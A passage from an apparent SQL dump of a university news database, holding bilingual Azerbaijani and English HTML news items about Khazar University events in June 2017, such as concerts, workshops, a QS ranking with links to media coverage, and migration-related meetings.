href=\"http://kanal15.tv/2017/06/08/%c9%99n-yaxsi-universitetl%c9%99r-siyahisinda-az%c9%99rbaycanin-iki-t%c9%99hsil-ocagi-var/#Kalibri\">http://kanal15.tv/2017/06/08/ən-yaxsi-universitetlər-siyahisinda-azərbaycanin-iki-təhsil-ocagi-var/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://xeberlent.az/index.php?do=xeber_inner&amp;id=22553\">http://xeberlent.az/index.php?do=xeber_inner&amp;id=22553</a>.&nbsp;</p>'),(3891,2265,'az','Xəzər Universitetində bəstəkar Sevda Rəhimovanın yaradıcılıq gecəsi keçirildi','2017-ci il iyunun 8-də Xəzər Universitetinn Mərkəz kampusundakı “Dünya” konsert salonunda “Dünya” məktəbinin müəllimi, bəstəkar Sevda Rəhimovanın yaradıcılıq...','<p>2017-ci il iyunun 8-də Xəzər Universitetinn Mərkəz\r\nkampusundakı “Dünya” konsert salonunda “Dünya” məktəbinin müəllimi, bəstəkar\r\nSevda Rəhimovanın yaradıcılıq gecəsi keçirildi. Tədbirdə Xəzər Universitetinin\r\nrəhbərliyi və əməkdaşları, bəstəkarlar və tamaşaçılar &nbsp;iştirak edirdilər.</p>\r\n<p>Tədbir Sevda Rəhimovanın da mənsub olduğu Qara\r\nQarayev sənət məktəbi haqqında filmlə başladı.&nbsp;\r\nFilm “Dünya” məktəbinin Multimedia mərkəzi tərəfindən hazırlanmışdı.\r\nFilmə baxışdan sonra Xəzər Universitetinin Kamera orkestri (bədii rəhbər və\r\npianoçu -&nbsp; universitetin Musiqi və incəsənət\r\ndepartamentinin müdiri, dosent Zülfiyyə Sadıqova) və Simli kvartetin (Əməkdar\r\nartist&nbsp;&nbsp; Əyyub Əliyev, Elina İsmət, Anar\r\nƏliyev, Samir Əsədov) iştirakı ilə konsert proqramı başlandı.</p>\r\n<p>&nbsp;Beynəlxalq\r\nmüsabiqələr laureatı Gülşən İbadova (soprano) bəstəkarın pianoda müşayiəti ilə\r\nonun “Sənin üçün” (Nəbi Xəzri), “Küləklər” (Xəzər Süleymanlı), “Dağ çiçəkləri”\r\n(Bəxtiyar Vahabzadə), “Susma, danış” (Xəzər Suleymanlı) romanslarını, Nigar&nbsp; Suleymanova (fortepiano) “Fortepiano üçün 3\r\nprelüd”, Nərgiz\r\nƏliyeva (fleyta)&nbsp; “Fleyta və kamera orkestri ücün pyes”&nbsp;&nbsp;&nbsp;&nbsp;əsərlərini,\r\nNərmin İsgəndərova (fortepiano) &nbsp;“Fortepiano\r\nücün sonata”nın 2-ci və 3-cü hissələrini&nbsp;&nbsp;\r\n&nbsp;ifa etdilər. Kamera orkestri tərəfindən\r\nbəstəkarın kamera orkestri üçün pyesləri&nbsp;\r\n- “Həzin dalğalar “ və“Ckerso” ifa olundu.</p>\r\n<p>Konsert proqramının yekununda Sevda Rəhimovanın\r\nHamlet İsaxanlının sözlərinə bəstələdiyi “İkimizdən birimiz” romansını əməkdar\r\nartist İlham Nəzərov və Gülşən İbadova&nbsp;\r\nifa etdilər.&nbsp; Sonda SSRİ xalq\r\nartisti, akademik Arif Məlkov, Xəzər Universitetinin təsisçisi, Direktorlar və\r\nQəyyumlar Şurasının sədri professor Hamlet&nbsp;\r\nİsaxanlı çıxış edərək, Sevda Rəhimovanın yaradlcılığından danışdılar,\r\nona uğurlar arzuladılar.</p>'),(3892,2257,'en','TAIEX workshop on Triple Helix Model and Education-Science-Start-Up','On June 5-6, 2017 TAIEX workshop on Triple Helix Model and Education-Science-Start-up was organized in Baku in cooperation with Azerbaijan National Academy of Sciences...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On June 5-6, 2017 TAIEX workshop on Triple Helix Model\r\nand Education-Science-Start-up was organized in Baku in cooperation with\r\nAzerbaijan National Academy of Sciences and Azerbaijan Ministry of Education. Dr.\r\nEldar Shahgaldiyev, head of the Division of Graduate Studies and Research and\r\nDr. Gasham Zeynalov, head of the department of Petroleum Engineering, participated\r\nin the workshop. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The aim of the workshop was to explain the benefits of\r\nthe Education-Science-Start-up (Academics, Government, and Industry) concept\r\nand to provide a better understanding of the Triple Helix system structure.\r\nExperts from four different EU member states shared their experiences on\r\nknowledge-based economy and the Triple Helix model.</p>'),(3893,2264,'en','Media of Azerbaijan: \"Khazar University is number One in Azerbaijan.”','As reported earlier, on June 8, 2017 QS University Rankings defined rating of higher education institutions throughout the world for the year 2017. According to the rating...','<p>As reported earlier, on June 8, 2017 <strong>QS University Rankings </strong>defined rating of higher education\r\ninstitutions throughout the world for the year 2017. According to the rating\r\nlist Khazar Unversity takes the 1<sup>st</sup> place among the universities in\r\nAzerbaijan and is ranked 701-750\r\namong world universities.</p>\r\n<p>There has been much news in Azerbaijan media in this regard:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universiteti_QS_teskilatinin_reytinq_siyahisinda-1068712\">http://azertag.az/xeber/Xezer_Universiteti_QS_teskilatinin_reytinq_siyahisinda-1068712</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://deyerler.org/365934-zhn-yaxed-universitetljr-siyahdsdnda-azjrbaycandn-iki-tjhsil-ocadd-var.html\">http://deyerler.org/365934-zhn-yaxed-universitetljr-siyahdsdnda-azjrbaycandn-iki-tjhsil-ocadd-var.html</a>;&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://musavat.com/news/en-yaxsi-universitetler-siyahisinda-azerbaycanin-iki-tehsil-ocagi-var_444911.html\">http://musavat.com/news/en-yaxsi-universitetler-siyahisinda-azerbaycanin-iki-tehsil-ocagi-var_444911.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.moderator.az/news/180749.html\">http://www.moderator.az/news/180749.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azinforum.az/%c9%99n-yaxsi-universitetl%c9%99r-siyahisinda-az%c9%99rbaycanin-iki-t%c9%99hsil-ocagi-var/#Kalibri\">http://azinforum.az/Ən-yaxsi-universitetlər-siyahisinda-azərbaycanin-iki-təhsil-ocagi-var/</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://regionplus.az/posts/view/91923\">http://regionplus.az/posts/view/91923</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://median.az/index.php?newsid=47536\">http://median.az/index.php?newsid=47536</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.1news.az/society/20170608033626925.html\">http://www.1news.az/society/20170608033626925.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=62073\">http://kaspiy.az/news.php?id=62073</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://baku.ws/89405-azerbaydzhanskie-universitety-edva-voshli-v-top-800.html\">http://baku.ws/89405-azerbaydzhanskie-universitety-edva-voshli-v-top-800.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.pia.az/Azerbaycanin_iki_universiteti_dunyanin_-199652-xeber.html\">http://www.pia.az/Azerbaycanin_iki_universiteti_dunyanin_-199652-xeber.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://naxcivanxeberleri.com/az%c9%99rbaycanin-iki-universiteti-dunyanin-%c9%99n-yaxsilari-arasinda/#Kalibri\">http://naxcivanxeberleri.com/azərbaycanin-iki-universiteti-dunyanin-ən-yaxsilari-arasinda</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.com/az/news/society/148976-azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda\">http://eurasiadiary.com/az/news/society/148976-azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://regioninfo.az/az%c9%99rbaycanin-iki-universiteti-dunyanin-%c9%99n-yaxsilari-arasinda-siyahi/#Kalibri\">http://regioninfo.az/azərbaycanin-iki-universiteti-dunyanin-ən-yaxsilari-arasinda-siyahi/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.tezadlar.az/ortam/25552-xzr-universiteti-qs-tkilatnn-reytinq-siyahsnda.html\">http://www.tezadlar.az/ortam/25552-xzr-universiteti-qs-tkilatnn-reytinq-siyahsnda.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://az.azvision.az/news/119193/azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda-%E2%80%93-siyahi-.html\">http://az.azvision.az/news/119193/azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda-%E2%80%93-siyahi-.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://a24.az/azerbaycanin-iki-universiteti-dunya-reytinqinde-hansi-birincidir/\">http://a24.az/azerbaycanin-iki-universiteti-dunya-reytinqinde-hansi-birincidir/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://xeberlent.az/index.php?do=xeber_inner&amp;id=22527\">http://xeberlent.az/index.php?do=xeber_inner&amp;id=22527</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://femida.az/news.php?id=56125\">http://femida.az/news.php?id=56125</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.xezerxeber.az/G%C3%BCnd%C9%99m/163515.html\">http://www.xezerxeber.az/Gündəm/163515.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kanal15.tv/2017/06/08/%c9%99n-yaxsi-universitetl%c9%99r-siyahisinda-az%c9%99rbaycanin-iki-t%c9%99hsil-ocagi-var/#Kalibri\">http://kanal15.tv/2017/06/08/ən-yaxsi-universitetlər-siyahisinda-azərbaycanin-iki-təhsil-ocagi-var/</a>.&nbsp;</p>'),(3894,2266,'az','Hamlet İsaxanlı müsahibə verdi','2017-ci il iyunun 11-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Xeber365.com xəbər saytına müsahibə vermişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il iyunun 11-də Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı <strong><em>Xeber365.com</em></strong> xəbər saytına müsahibə vermişdir. Söhbət əsasən QS\r\nbeynəlxalq reytinq təşkilatı dünya üzrə ali təhsil müəssisələrinin 2017-ci il\r\nüçün reytinqinin nəticələrinə həsr olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, reytinq siyahısına görə, Xəzər\r\nUniversiteti dünya universitetləri arasında 701-750 aralığında yerləşir və Azərbaycan\r\nuniversitetləri arasında isə 1-ci yeri tutur. QS təşkilatı dünyada fəaliyyətdə\r\nolan təxminən 26.000 universitet haqqında araşdırma aparmış və Xəzər\r\nUniversiteti dünyanın 2,7% seçilmiş aparıcı universitetləri sırasına daxil edilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni bu linklər vasitəsilə dinləmək\r\nvə izləmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://www.youtube.com/watch?v=-Kcr075k0iQ\">https://www.youtube.com/watch?v=-Kcr075k0iQ</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/06/11/hamlet-isaxanli-%C9%99dliyy%C9%99-nazirliyi-az%C9%99rbaycani-m%C9%99nd%C9%99n-qoruyur-videosohb%C9%99t/\">http://mektebgushesi.az/2017/06/11/hamlet-isaxanli-ədliyyə-nazirliyi-azərbaycani-məndən-qoruyur-videosohbət/</a>.</p>'),(3895,2209,'en','Khazar Journal of Humanities and Social Sciences is published again in both electronic and paper versions','Khazar Journal of Humanities and Social Sciences is the unique journal in the field of Humanities and Social sciences which is included in the scientific platform known as...','<p style=\"\" text-indent:.25in;line-height:12.0pt;background:white\"\"=\"\">Khazar Journal of Humanities and Social Sciences is\r\nthe unique journal in the field of Humanities and Social sciences which is\r\nincluded in the scientific platform known as <em>Thomson Reuters\' Web of Science.</em> The Journal prefers publishing substantive\r\nresearch papers, as well as a publication of original and topical articles. At\r\nthe same time, conferences, symposium materials and book statements are also\r\nincluded in the journal. The main purpose is to deliver innovations in science\r\nto the international community and to establish scientific communication\r\nbetween local and foreign scientists.</p>\r\n<p style=\"\" text-indent:.25in;line-height:12.0pt;background:white\"\"=\"\">Well-known scientists of relevant areas from all over\r\nthe world are included in the editorial board of the journal. Presented\r\narticles are firstly sent to the supervision of editorial board and then, they\r\nare sent at least to two reviewers. All the submitted papers to the journal\'s\r\neditorial board are evaluated by ‘anonymous reviewer groups’ consisting of\r\nexternal experts. Both paper and electronic versions of the publication are\r\navailable in the journal.&nbsp;&nbsp; </p>\r\n<p style=\"\" text-indent:.25in;line-height:12.0pt;background:white\"\"=\"\">It is relevant to state that since 2017, Khazar\r\nJournal of Humanities and Social Sciences has been published in both electronic\r\nand paper versions. It should be noted that a number of changes have been made in\r\nthe cover and the style of the journal. </p>\r\n<p style=\"\" text-indent:.25in;line-height:12.0pt;background:white\"\"=\"\">It is also possible to subscribe separately to electronic\r\nand paper versions, as well as to subscribe both versions unlimitedly. </p>\r\n<p style=\"\" text-indent:.25in;line-height:12.0pt;background:white\"\"=\"\">More information regarding signing up for a subscription\r\ncan be obtained by emailing to <a href=\"mailto:submissions@khazar.org\">submissions@khazar.org</a></p>'),(3896,2255,'en','Anniversary at Khazar University','On June 6th, 2017, Senior Instructor of the Department of English Language and Literature, Firangiz Nasirova’s anniversary was held at Khazar University, who has been...','<p>On June 6th, 2017, Senior Instructor of the\r\nDepartment of English Language and Literature, Firangiz Nasirova’s anniversary\r\nwas held at Khazar University, who has been working at the university since the\r\nfirst establishment years of the university. The university administration,\r\ndeans and &nbsp;heads of departments as well\r\nas collaborators took part in this event.</p>\r\n<p>Professor Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees made a speech\r\nabout F. Nasirova’s invaluable contributions to preparation of high-qualified\r\nEnglish Language Specialists, her laborious work in the training of young\r\ninstructors and her care along with strictness towards the students. He\r\ncongratulated her on the occasion of the anniversary, wished her the best in\r\nboth pedagogical and personal life and presented a bouquet of flowers.</p>\r\n<p>Other guests also praised F. Nasirova’s work within\r\nthe university, including her activities related to translation, spoke about how she\r\ngained respect of university staff for being a caring and sincere person, as\r\nwell as her cheerful temper and hilarious sense of humor that create a pleasant\r\nambiance at “Khazar”. </p>\r\n<p>It was mentioned that her anniversary had also been\r\ncelebrated at the Department\r\nof English Language and Literature and at the School of Humanities and Social\r\nSciences before that event.</p>\r\n<p>Nailakhanim Isayeva, the advisor to the Board of\r\nDirectors and Trustees and co-founder of “Dunya” School presented the\r\nuniversity gift to the heroine. Lasting with sincere conversation, the event\r\nended in a pleasant mood.</p>'),(3897,2267,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3898,2267,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3899,2268,'az','Dövlət Miqrasiya Xidmətinin illik görüşü baş tutdu','2017-ci il iyunun 9-da Azərbaycan universitetlərin və bir sıra şirkətlərin miqrasiya işləri üzrə əməkdaşları üçün “Caspian Business” otelinin konfrans zalında Azərbaycan Respublikası...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\niyunun 9-da Azərbaycan universitetlərin və bir sıra şirkətlərin miqrasiya işləri\r\nüzrə əməkdaşları üçün “Caspian Business” otelinin konfrans zalında Azərbaycan Respublikası\r\nDövlət Miqrasiya Xidmətinin illik görüşü təşkil olundu. Görüşün əsas mövzusu isə\r\nəmək miqrasiyası kvotası haqqında idi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə Xəzər\r\nUniversiteti Beynəlxalq Əlaqələr Ofisinin assistenti Elxan Kasımov da iştirak\r\netdi. Görüşdə əcnəbilər və vətəndaşlığı olmayan şəxslər barəsində bir sıra\r\nvacib məsələlər müzakirə olundu.&nbsp;</p>'),(3900,2269,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3901,2269,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3902,2270,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential School Directors...','<p>We present to you pictures from today\'s training from the Course for Potential School Directors.</p>'),(3903,2270,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri sizə təqdim edirik...','<p>“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.</p>'),(3904,2268,'en','Annual Meeting of State Migration Service of Azerbaijan Republic was held','On June 9, 2017, an annual meeting on Migration Issues of the State Migration Service of Azerbaijan Republic was organised for the representatives of International Affairs Offices...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On June 9, 2017,\r\nan annual meeting on Migration Issues of the State Migration Service of\r\nAzerbaijan Republic was organised for\r\nthe representatives of International Affairs Offices of local universities and\r\nthe representatives of companies at the conference hall of the Caspian Business\r\nHotel. The main topic of the meeting was about the labour migration quota.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Elkhan Kasimov,\r\nthe assistant of the International Affairs Office of Khazar University who is\r\nin charge of migration issues, participated in the meeting. Important topics\r\nconcerning foreigners and persons without citizenship in Azerbaijan were\r\ncovered and discussed in the meeting.&nbsp;</p>'),(3905,2271,'az','Xəzər Universitetinin əməkdaşları Almaniyada oldular','2017-ci il iyunun 4-dən 11-dək Erasmus+PROMIG layihəsinin ikinci fazası çərçivəsində Almaniyanın Oldenburq Universitetində Xəzər Universitetinin İqtisadiyyat və menecment...','<p>2017-ci il iyunun 4-dən 11-dək Erasmus+PROMIG layihəsinin ikinci\r\nfazası çərçivəsində Almaniyanın Oldenburq Universitetində Xəzər Universitetinin\r\nİqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov və müəllimi Nicat\r\nQarayev, Siyasi elm və beynəlxalq münasibətlər kafedrasının müdiri Muxtar Haciyev və müəlliməsi Zivər Hüseynova işgüzar səfərdə\r\noldular. Səfərin məqsədi 2013-cü\r\nildə TEMPUS/UNİMİG layihəsi çərçivəsindəCənubi Qafqaz universitetlərində yaradılmış Miqrasiya\r\nAraşdırma Mərkəzlərində və müvafiq magistratura proqramlarının tədrisində əldə\r\nedilən təcrübələri Əfqanıstanın Tabeş Universitetində yaradılması nəzərdə\r\ntutulan miqrasiya elmləri üzrə\r\nmagistratura proqramının gələcək heyəti ilə bölüşmək və mövcud nailiyyətləri\r\ndaha da təkmiləşdirməkdən ibarət idi.</p>\r\n<p>Layihə zamanı əsas\r\niş Tabeş Universitetinin müəllim və akademik heyəti ilə birlikdə həmin\r\nuniversitet üçün miqrasiya üzrə tədris proqramının hazırlanması, dizaynı və bu\r\nmövzu ətrafında gedən müzakirələrdən ibarət idi. Eyni zamanda, Almaniyanın\r\nmiqrasiyanın idarə olunması və öyrənilməsi istiqamətində ixtisaslaşmış müəssisələri\r\nvə qeyri-hökümət təşkilatları ilə də görüşlər keçirildi. </p>\r\n<p>Səfər bütün\r\niştirakçıların və müvafiq universitetlərin magistratura proqramında təhsil alan\r\ntələbələrin iştirakı ilə keçirilmiş konfransla yekunlaşdı. Konfransda növbəti mərhələ\r\nüçün miqrasiya sahəsində elmi araşdırmaların aparılması, bu araşdırmaların\r\nmövzuları, araşdırmalar zamanı yaranacaq data toplanması və analizlə bağlı çətinliklər\r\nvə onların həlli istiqamətində müzakirələr aparıldı. </p>\r\n<p>Xəzər Universiteti\r\nlayihədə aktiv iştirak edən tərəfdaşdır və layihənin ikinci mərhələsində digər\r\nUniversitetlər ilə əməkdaşlığı daha da genişləndirərək araşdırmalar sahəsində\r\nyeni nailiyyətlər əldə etməyə hədəflənmişdir.</p>'),(3906,2272,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3907,2272,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3908,2273,'en','HERE Seminar on Social Engagement of Universities ','Raziya Isayeva, Director of Development at Khazar University, Higher Education Reform Expert participated in the HERE seminar devoted to Social Engagement of the universities...','<p>Raziya Isayeva,\r\nDirector of Development at Khazar University, Higher Education Reform Expert\r\nparticipated in the HERE seminar devoted to Social Engagement of the\r\nuniversities. The seminar covered the cases of EU universities like University\r\nof Bremen, Germany; Institute of Advanced Studies, Austria; University West,\r\nSweden; University College Cork, Ireland; Hadassah Academic College, Israel as\r\nwell as HERE countries. HEREs and key speakers analyzed the different\r\ncomponents of ‘social engagement’ and third mission. The discussions included\r\nthe issues like access to higher education, catering for minority and\r\nmarginalized learners, but also how to weave social engagement and\r\nresponsibility into the curriculum. </p>\r\n<p>A special session was\r\ndevoted to learn how universities, mostly in the case of European Universities,\r\nare responding to migrant and refugee learner needs, provided by the fact that\r\nthis is currently a very diligent issue of the Mediterranean area. The meeting\r\nco-hosted by the University of Nicosia and CARDET, a research center that\r\nspecializes in social inclusion, migrant education and ICT in education took\r\nplace on 13-14 of June, 2017.</p>\r\n<p>The seminar discussed\r\ndiverse issues and the challenges of HEIs and HE systems that need to be\r\nresolved in order to meet the diverse needs of learners and also get engaged\r\nwith society and stakeholders to ensure the educational impact on them.</p>\r\n<p>&nbsp;The seminar ended up on a very positive note and with extensive\r\nplan of future activities (joint researches, events etc.) to assist the\r\nuniversities to become more engaged with the society they work with and for.</p>'),(3909,2274,'az','Xəzər Universitetinin nümayəndəsi miqrantlara həsr olunmuş konfransda iştirak etdi','2017-ci il iyunun 14-də Xəzər Universitetinin layihə koordinatoru Rima Məmmədova Beynəlxalq Miqrasiya Təşkilatı (BMqT) tərəfindən həyata keçirilən “Böhran kontekstində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil iyunun 14-də Xəzər Universitetinin layihə koordinatoru Rima Məmmədova Beynəlxalq\r\nMiqrasiya Təşkilatı (BMqT) tərəfindən həyata keçirilən “Böhran kontekstində\r\nmiqrantların müdafiəsinə dair milli məsləhətləşmələr” adlı konfransda iştirak\r\netdi. Konfransda Dövlət Miqrasiya Xidmətinin rəis müavini Pərviz Musayev,\r\nBöhranla üzləşən Ölkələrdə Miqrantların Təşəbbüsü katibliyi Chiara Milano və Beynəlxalq\r\nMiqrasiya Təşkilatının Azəraycan üzrə nümayəndəliyinin rəhbəri Serhan Aktoprak\r\nçıxış etdilər. Görüş zamanı Qlobal kompakt və Böhranla üzləşən Ölkələrdə\r\nMiqrantların Təşəbbüsü haqqında məlumat verildi və mövzu ətrafında fikirlər\r\nsöylənildi. Rima Məmmədova miqrantların təhsil, xüsusilə, ali təhsil əldə etmələrinin\r\nönəmli olduğunu və bu sahəyə daha çox diqqət ayrılmağının vacib olduğunu\r\nbildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha\r\nsonra konfrans müzakirə və təkliflərlə sona bitdi.</p>'),(3910,2275,'az','Bəstəkar Sevda Rəhimovanın yaradıcılıq gecəsi keçirildi','Xəzər Universiteti “Dünya” konsert salonunda bəstəkar Sevda Rəhimovanın yaradıcılıq gecəsi keçirildi. Gecədə universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universiteti “Dünya” konsert\r\nsalonunda bəstəkar Sevda Rəhimovanın yaradıcılıq gecəsi keçirildi. Gecədə universitetin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı,</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">bəstəkar Arif Məlikov, tanınmış mədəniyyət\r\nvə incəsənət xadimləri, ziyalılar iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri\r\nbu link vasitəsilə tam şəkildə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://musavat.com/news/bestekar-sevda-rehimovanin-yaradiciliq-gecesi-kecirilib-fotolar-video_446498.html.\">http://musavat.com/news/bestekar-sevda-rehimovanin-yaradiciliq-gecesi-kecirilib-fotolar-video_446498.html.</a></p>'),(3911,2275,'en','The evening with the composer, Sevda Rahimova, was conducted','The evening dedicated to the composer, Sevda Rahimova, was conducted at the “Dunya” concert hall, Khazar University. Professor Hamlet Isaxanli, the founder of Khazar University...','<p>The evening dedicated to\r\nthe composer, Sevda Rahimova, was conducted at the “Dunya” concert hall, Khazar\r\nUniversity. Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, the composer Arif Malikov, well-known\r\nfigures of culture and art, intellectuals participated in the evening. </p>\r\n<p>The news can be read in full via this link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://musavat.com/news/bestekar-sevda-rehimovanin-yaradiciliq-gecesi-kecirilib-fotolar-video_446498.html.\">http://musavat.com/news/bestekar-sevda-rehimovanin-yaradiciliq-gecesi-kecirilib-fotolar-video_446498.html.</a></p>'),(3912,2276,'az','ESFİDİP Tempus layihəsinin son tədbiri olaraq monitorinqlər keçirildi','Xəzər Universitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsinin son tədbiri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">Xəzər\r\nUniversitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil\r\nmüəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsinin\r\nson tədbiri olaraq monitorinqlər keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:17.85pt\"\"=\"\">2017-ci il mayın\r\n18-də&nbsp; Əlil Təşkilatları İttifaqının\r\n(ƏTİ) sədri Davud Rəhimli və nümayəndələri Firuzə Babayeva və Ayaz Huseynov Xəzər\r\nUniversitetinin, mayın 20-də Xəzər Universitetinin İnkişaf mərkəzinin direktoru\r\nRaziyə İsayeva və Biologiya departamentinin müdiri Dr. İradə Xəlilova Naxçıvan\r\nDövlət 